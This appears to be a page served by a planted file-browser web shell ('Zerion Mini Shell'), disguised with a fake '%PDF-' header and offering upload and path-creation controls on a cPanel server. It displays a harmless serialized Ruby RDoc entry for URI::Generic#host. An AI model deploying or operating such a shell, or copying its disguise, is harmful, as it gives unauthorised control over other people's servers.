%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/cpanel/ea-ruby24/root/usr/share/ri/system/URI/Generic/
Upload File :
Create Path :
Current File : //opt/cpanel/ea-ruby24/root/usr/share/ri/system/URI/Generic/host-i.ri

U:RDoc::Attr[iI"	host:ETI"URI::Generic#host;TI"R;T:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph;	[I"+returns the host component of the URI.;To:RDoc::Markup::BlankLineo:RDoc::Markup::Verbatim;	[I".URI("http://foo/bar/baz").host #=> "foo"
;T:@format0o;
;	[I")It returns nil if no host component.;T@o;;	[I"0URI("mailto:foo@example.org").host #=> nil
;T;
0o;
;	[I"4The component doesn't contains the port number.;T@o;;	[I"3URI("http://foo:8080/bar/baz").host #=> "foo"
;T;
0o;
;	[	I";Since IPv6 addresses are wrapped by brackets in URIs, ;TI"=this method returns IPv6 addresses wrapped by brackets. ;TI"QThis form is not appropriate to pass socket methods such as TCPSocket.open. ;TI"AIf unwrapped host names are required, use "hostname" method.;T@o;;	[I"2URI("http://[::1]/bar/baz").host #=> "[::1]"
;TI"3URI("http://[::1]/bar/baz").hostname #=> "::1";T;
0:
@fileI"lib/uri/generic.rb;T:0@omit_headings_from_table_of_contents_below0F@)I"URI::Generic;TcRDoc::NormalClass0

Zerion Mini Shell 1.0